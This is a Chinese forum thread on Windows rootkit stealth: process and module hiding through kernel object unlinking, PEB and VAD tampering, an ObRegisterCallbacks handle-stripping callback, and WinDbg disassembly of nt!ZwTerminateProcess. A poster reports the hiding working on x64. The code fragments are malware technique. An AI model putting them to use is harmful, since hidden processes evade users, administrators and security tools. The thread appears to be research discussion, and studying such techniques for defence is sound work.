一.进程隐藏: 
1.将EPROCESS结构中的ActiveProcessLinks断链
//断链
peProc->ActiveProcessLinks->Flink->Blink=peProc->ActiveProcessLinks->Blink;
peProc->ActiveProcessLinks->Blink->Flink=peProc->ActiveProcessLinks->Flink;

//链节点指向自身
//避免小概率蓝屏：当邻居进程退出后，本进程在结束时系统RemoveEntryList删除本节点时：可能访问到无效的peProc->ActiveProcessLinks->Flink或peProc->ActiveProcessLinks->Blink
peProc->ActiveProcessLinks->Flink=peProc->ActiveProcessLinks->Blink=&peProc->ActiveProcessLinks;

2.遍历EPROCESS结构中的ThreadListHead线程链表，让每个ETHREAD结构中的ThreadsProcess指向另一个进程的EPROCESS：
1）如果当前进程不是服务进程：指向桌面进程explorer.exe的EPROCESS
2）如果当前进程是服务进程： 指向services.exe的EPROCESS
for(peThreadEntry=peProc->ThreadListHead.Flink;peThreadEntry!=&peProc->ThreadListHead;peThreadEntry=peThreadEntry->Flink){
     peThread=CONTAINING_RECORD(peThreadEntry;
         _ETHREAD,
        ThreadListEntry); 
    peThread->ThreadsProcess=peExplorerOrServicesProc;   
}

3.抹去PspCidTable中进程的EPROCESS地址

二.进程中的模块隐藏:
1. 将PEB结构体中的InLoadOrderModuleList ,InMemoryOrderModuleList,InInitializationOrderModuleList全部断链
2. 篡改进程中模块的DOS头，PE头标志
3. 遍历进程EPROCESS结构中的VadRoot二叉树，把相应MMVAD的ControlArea中的FilePointer(PFILE_OBJECT)中的FileName模块名抹去。
RtlZeroMemory(vad->ControlArea->FilePointer->Buffer,vad->ControlArea->FilePointer->Length);
vad->ControlArea->FilePointer->Length=0;

或者自己做类似LdrLoadDll模块加载功能。

不同内核版本的操作系统，未公开的数据结构及函数可能不一样，所以Rootkit做得越底层，工作量越大，兼容性越差。

三.楼主所提到的通过ObRegisterCallbacks隐藏进程倒是有点意思，貌似可以欺骗任务管理器！不能确定是否可行！
在进程打开预处理回调，针对任务管理器进程taskmgr.exe在应用层打开本进程,复制本进程句柄时，
禁止获得查询权限
OB_PREOP_CALLBACK_STATUS PobPreOperationCallback(
  PVOID RegistrationContext,
  POB_PRE_OPERATION_INFORMATION OperationInformation
)
{
      ...
     if(IsTaskMgrProcess(PsGetCurrentProcess()){
          if(IsProcessNeedHided((PEPROCESS)OperationInformation->Object)){
              switch(OperationInformation->Operation){
              case OB_OPERATION_HANDLE_CREAT:   //任务管理器试图打开目标进程
                  OperationInformation->Parameters.CreateHandleInformation.DesiredAccess=0; //清空权限
                  break;
              case OB_OPERATION_HANDLE_DUPLICATE:  //任务管理器试图复制目标进程句柄
                  OperationInformation->Parameters.DuplicateHandleInformation.DesiredAccess=0; //清空权限
                   break;
              }
          }
     }
      ...

     return OB_PREOP_SUCCESS;
}

(1)任务管理器在内核态最终还是要调用Nt!QuerySystemInformayion去遍历系统的PsActiveProcessHead进程链表，
在这个过程当中会打开目标进程吗，假设打开失败又怎么处理？这个到是没有注意过(系统版本这么多，哪个版本给你突然冒出个这个操作
也说不定，不过如果在内核态打开的句柄类型为：OBJ_KERNEL_HANDLE，以内核模式访问也是不受权限控制的)

(2)任务管理器要打开进程倒是真的，比如：获取用户名，会话ID，要OpenProcessToken得到进程令牌,
就会以相应权限打开进程 ,如果回调中清空了权限, 用户名，会话ID由于权限问题获取失败了，任务管理器又如何处理？
究竟是在ring3层发起打开还是在ring0发起层打开，如果在ring0层发起打开句柄类型是否为OBJ_KERNEL_HANDLE，以内核模式访问?
这个也没有注意过！系统版本那么多，谁也说不准！）

楼主想法新颖，但由于系统版本太多了，有很大的不确定性，而且驱动可以轻易过。空了再慢慢研究。

经实践证明，楼主所说的ObRegisterCallbacks不能隐藏进程，可以防止R3层发起的TerminateProcess/ntdll!ZwTerminateProcess,

ring0层：nt!ZwTerminateProcess也是防不住的

ring0层遍历线程链，暴力结束那更是防不住的。

nt!ZwTerminateProcess:

fffff800`03e819e0 488bc4          mov     rax,rsp

fffff800`03e819e3 fa              cli

fffff800`03e819e4 4883ec10        sub     rsp,10h

fffff800`03e819e8 50              push    rax

fffff800`03e819e9 9c              pushfq

fffff800`03e819ea 6a10            push    10h

fffff800`03e819ec 488d05fd2c0000  lea     rax,[nt!KiServiceLinkage (fffff800`03e846f0)]

fffff800`03e819f3 50              push    rax

fffff800`03e819f4 b829000000      mov     eax,29h ；SSDT Index

fffff800`03e819f9 e942640000      jmp     nt!KiServiceInternal (fffff800`03e87e40)

nt!KiServiceInternal:

fffff800`03e87e40 4883ec08        sub     rsp,8

fffff800`03e87e44 55              push    rbp

fffff800`03e87e45 4881ec58010000  sub     rsp,158h

fffff800`03e87e4c 488dac2480000000 lea     rbp,[rsp+80h]

fffff800`03e87e54 48899dc0000000  mov     qword ptr [rbp+0C0h],rbx

fffff800`03e87e5b 4889bdc8000000  mov     qword ptr [rbp+0C8h],rdi

fffff800`03e87e62 4889b5d0000000  mov     qword ptr [rbp+0D0h],rsi

fffff800`03e87e69 fb              sti

fffff800`03e87e6a 65488b1c2588010000 mov   rbx,qword ptr gs:[188h] ;PKTHREAD

fffff800`03e87e73 0f0d8bd8010000  prefetchw [rbx+1D8h]

fffff800`03e87e7a 0fb6bbf6010000  movzx   edi,byte ptr [rbx+1F6h]

fffff800`03e87e81 40887da8        mov     byte ptr [rbp-58h],dil

fffff800`03e87e85 c683f601000000  mov     byte ptr [rbx+1F6h],0 ; kThread->PreviousMode=KernelMode

fffff800`03e87e8c 4c8b93d8010000  mov     r10,qword ptr [rbx+1D8h]

fffff800`03e87e93 4c8995b8000000  mov     qword ptr [rbp+0B8h],r10

fffff800`03e87e9a 4c8d1d3d010000  lea     r11,[nt!KiSystemServiceStart (fffff800`03e87fde)]

fffff800`03e87ea1 41ffe3          jmp     r11

0: kd> uf nt!KiSystemServiceStart

nt!KiSystemCall64:

...

fffff800`03e87fde 4889a3d8010000  mov     qword ptr [rbx+1D8h],rsp

fffff800`03e87fe5 8bf8            mov     edi,eax

fffff800`03e87fe7 c1ef07          shr     edi,7

fffff800`03e87fea 83e720          and     edi,20h

fffff800`03e87fed 25ff0f0000      and     eax,0FFFh

nt!KiSystemServiceRepeat:

fffff800`03e87ff2 4c8d1547782300  lea     r10,[nt!KeServiceDescriptorTable (fffff800`040bf840)] ;SSDT

fffff800`03e87ff9 4c8d1d80782300  lea     r11,[nt!KeServiceDescriptorTableShadow (fffff800`040bf880)] ;SSDT Shadow

fffff800`03e88000 f7830001000080000000 test dword ptr [rbx+100h],80h  ;判断究竟是SSDT还是SSDT Shadow

fffff800`03e8800a 4d0f45d3        cmovne  r10,r11

fffff800`03e8800e 423b441710      cmp     eax,dword ptr [rdi+r10+10h]

fffff800`03e88013 0f83e9020000    jae     nt!KiSystemServiceExit+0x1a7 (fffff800`03e88302)

nt!KiSystemServiceRepeat+0x27:

fffff800`03e88019 4e8b1417        mov     r10,qword ptr [rdi+r10]    ;ServiceTable基址

fffff800`03e8801d 4d631c82        movsxd  r11,dword ptr [r10+rax*4]

fffff800`03e88021 498bc3          mov     rax,r11

fffff800`03e88024 49c1fb04        sar     r11,4    ;Ntxxx相对于ServiceTable基址的偏移

fffff800`03e88028 4d03d3          add     r10,r11  ;Ntxxx系统函数地址

...

fffff800`03e88150 41ffd2          call    r10  ；调用Ntxxx系统函数

1: kd> uf nt!NtTerminateProcess

nt!NtTerminateProcess:

fffff800`04144b80 4c8bdc          mov     r11,rsp

fffff800`04144b83 49895b18        mov     qword ptr [r11+18h],rbx

fffff800`04144b87 89542410        mov     dword ptr [rsp+10h],edx

fffff800`04144b8b 55              push    rbp

fffff800`04144b8c 56              push    rsi

fffff800`04144b8d 57              push    rdi

fffff800`04144b8e 4154            push    r12

fffff800`04144b90 4155            push    r13

fffff800`04144b92 4156            push    r14

fffff800`04144b94 4157            push    r15

fffff800`04144b96 4883ec40        sub     rsp,40h

fffff800`04144b9a 65488b3c2588010000 mov   rdi,qword ptr gs:[188h]  ;PKTHREAD

fffff800`04144ba3 4533e4          xor     r12d,r12d

fffff800`04144ba6 4883cbff        or      rbx,0FFFFFFFFFFFFFFFFh

fffff800`04144baa 4c8b6f70        mov     r13,qword ptr [rdi+70h]

fffff800`04144bae 8a87f6010000    mov     al,byte ptr [rdi+1F6h]  ;kThread->PreviousMode

fffff800`04144bb4 4c8bf9          mov     r15,rcx

fffff800`04144bb7 493bcc          cmp     rcx,r12

fffff800`04144bba 0f8429010000    je      nt!NtTerminateProcess+0x169 (fffff800`04144ce9)

nt!NtTerminateProcess+0x40:

fffff800`04144bc0 4c8b0559a4f7ff  mov     r8,qword ptr [nt!PsProcessType (fffff800`040bf020)] ; ObjectType

fffff800`04144bc7 498d4b08        lea     rcx,[r11+8]

fffff800`04144bcb 4d8963b8        mov     qword ptr [r11-48h],r12 ;HandleInformation

fffff800`04144bcf 49894bb0        mov     qword ptr [r11-50h],rcx    ;Object

fffff800`04144bd3 8d5302          lea     edx,[rbx+2]  ;DesiredAccess

fffff800`04144bd6 448ac8          mov     r9b,al ;AccessMode: kThread->PreviousMode

fffff800`04144bd9 498bcf          mov     rcx,r15  ;Handle

fffff800`04144bdc c744242044666c74 mov     dword ptr [rsp+20h],746C6644h ;Tag

fffff800`04144be4 e857590300      call    nt!ObReferenceObjectByHandleWithTag (fffff800`0417a540)

fffff800`04144be9 413bc4          cmp     eax,r12d

fffff800`04144bec 0f8cdf000000    jl      nt!NtTerminateProcess+0x151 (fffff800`04144cd1)

...

因为ObReferenceObjectByHandleWithTag如果AccessMode为KernelMode的话，不受句柄权限控制了，能成功得到进程对象，

为UserMode的话，受句柄权限控制，不能成功得到进程对象，而nt!ZwTerminateProcess会将kThread->PreivousMode设为KernelMode,

所以，这个方法只能防ring3层发起的一般的TerminateProcess/ntdll!ZwTerminateProcess。不能隐藏进程，因为进程获取底层是遍历内核中的进程链完成的。别被误导了！

//预处理回调

OB_PREOP_CALLBACK_STATUS ObjPreCallback(

IN PVOID                         RegistrationContext,

IN OUT POB_PRE_OPERATION_INFORMATION OperationInformation

)

{

    KdPrintEx((

          DPFLTR_IHVDRIVER_ID,

          DEVICE_LEVEL,

          "Entering ObjPreCallback...\n"

      ));

      if (IsTaskMgrProc(PsGetCurrentProcess())) {

         //当前进程任务管理器进程

         if (IsProcNeedToHide((PEPROCESS)OperationInformation->Object)) {

               //目标进程是需要隐藏的进程(经验证：隐藏不了，可以防一般性的ring3层的终止，写入)

               switch (OperationInformation->Operation) {

               case OB_OPERATION_HANDLE_CREATE:  //任务管理器试图打开目标进程

                   OperationInformation->Parameters->CreateHandleInformation.DesiredAccess = 0;  //权限清空

                   break;

                case OB_OPERATION_HANDLE_DUPLICATE: //任务管理器试图复制目标进程句柄

                    OperationInformation->Parameters->DuplicateHandleInformation.DesiredAccess = 0; //权限清空

                    break;

                 }

              }

        }

        return OB_PREOP_SUCCESS;

}

以前还没试过64位，现在改了写地方把以前的方法在x64上试了下，可行！

隐身咯！[em_13]

一.ID：1496的进程Deamon.exe确实看不到了!

二. ID: 248的进程explorer.exe中的模块kernel32.dll确实看不到了

低调putchar 以前还没试过64位，现在改了写地方把以前的方法在x64上试了下，可行！隐身咯！[em_13]一.ID：1496的进程Deamon.exe确实看不到了!二. ID: 248的进程explorer.exe ...

PG⚠️

隐藏的最高境界等于永远不出现在KiProcessInSwapListEntry，相当于进程永远得不到调度，有什么意义？

确实！改了nt!_EPROCESS及相关数据结构相关的内容在x64上过一会儿要BOSD！
但KeStackAttachProcess后改了进程PEB里面的内容不会。也就是：改了系统内核空间的内容x64上过一会儿就要崩，这应该就是你说的Patch Guard了？相比32位，64位还是有很多值得注意的地方！以前都是接触x86的，才刚接触x64，目前我还有些知识点需要弥补，空了再慢慢研究怎么去过它！

我晕！粗心大意！昨天写Deamon发现ObRegisterCallbacks连nt!ZwTerminateProcess都防不住，今天来找原因，结果逆向发现: nt!ZwTerminateProcess 内部就把：kThread->PreviousMode=KernelMode了。